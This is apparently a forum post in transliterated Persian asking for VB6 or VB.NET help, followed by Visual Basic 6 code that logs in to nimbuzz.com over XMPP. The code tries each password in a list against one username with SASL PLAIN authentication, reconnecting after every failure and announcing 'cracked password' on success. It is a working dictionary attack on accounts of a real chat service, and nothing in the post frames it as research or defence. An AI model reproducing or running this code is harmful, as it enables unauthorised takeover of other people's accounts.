heeeeeeeeelp mardaneeeeee age vb6 ya vb.net baladi

Option Explicit

Dim i As Integer

Private Sub winsock1_Connect()
Winsock1.SendData "<stream:stream to='nimbuzz.com' xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' version='1.0'>"
Winsock1.SendData "<auth id='sasl' xmlns='urn:ietf:params:xml:ns:xmpp-sasl' mechanism='PLAIN'>" + EncodeBase64(StrConv(vbNullChar + user1.Text + vbNullChar + List1.List(i), vbFromUnicode)) + "</auth>"
End Sub

Private Sub winsock1_DataArrival(ByVal bytesTotal As Long)
On Error GoTo ehem
Dim reza As String
Winsock1.GetData reza
reza = Replace(reza, """", "'")
DoEvents
If InStr(reza, "<suc") <> 0 Then
Winsock1.Close
MsgBox "cracked password: " + List1.List(i)
End If
If InStr(reza, "<failure xmlns='urn:ietf:params:xml:ns:xmpp-sasl'><not-authorized/></failure>") <> 0 Then
i = i + 1
Winsock1.Close
Winsock1.Connect
End If
ehem:
End Sub